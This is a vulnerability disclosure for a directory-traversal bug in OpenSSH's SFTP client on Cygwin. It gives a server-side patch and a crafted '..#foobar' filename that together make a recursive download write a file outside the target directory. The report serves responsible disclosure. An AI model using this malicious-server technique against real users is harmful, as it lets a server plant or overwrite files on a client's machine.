OpenSSH on Cygwin: directory traversal in SFTP client
Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in do_lsreaddir()) and the directory names "." and ".." (in download_dir_internal()). On Windows, including in Cygwin, backslashes can also be used for directory traversal.
To reproduce:
On the server:
Patch OpenSSH like this, then build it:
--- openssh-7.4p1/sftp-server.c 2016-12-18 20:59:41.000000000 -0800
+++ openssh-7.4p1-patched/sftp-server.c 2016-12-20 15:55:34.980000300 -0800
@@ -1065,10 +1065,11 @@
strcmp(path, "/") ? "/" : "", dp->d_name);
if (lstat(pathname, &st) < 0)
continue;
stat_to_attrib(&st, &(stats[count].attrib));
stats[count].name = xstrdup(dp->d_name);
+for (i=0; i<strlen(stats[count].name); i++) if (stats[count].name[i] == '#') stats[count].name[i] = '\\';
stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
count++;
/* send up to 100 entries in one message */
/* XXX check packet size instead */
if (count == 100)
Ensure that an OpenSSH server is running.
Create the following directory structure:
user@DESKTOP ~
$ mkdir -p sourceparent/source
user@DESKTOP ~
$ touch 'sourceparent/source/..#foobar'
user@DESKTOP ~
$ echo foobar > sourceparent/foobar
user@DESKTOP ~
$
Now, on the client (Cygwin on Windows 10), build OpenSSH, then recursively download a directory like this:
user@DESKTOP ~
$ mkdir destparent
user@DESKTOP ~
$ cd destparent/
user@DESKTOP ~/destparent
$ ls -la
total 4
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
user@DESKTOP ~/destparent
$ ~/openssh-7.4p1/sftp -r -s /home/user/openssh-7.4p1-patched/sftp-server localhost:sourceparent/source dest
Connected to localhost.
Fetching /home/user/sourceparent/source/ to dest
Retrieving /home/user/sourceparent/source
user@DESKTOP ~/destparent
$ ls -la
total 5
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 dest
-rwxr-xr-x 1 user None 7 Dec 20 16:24 foobar
user@DESKTOP ~/destparent
$
As you can see, sftp created the file "foobar" outside the specified destination directory "dest".
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: jannh
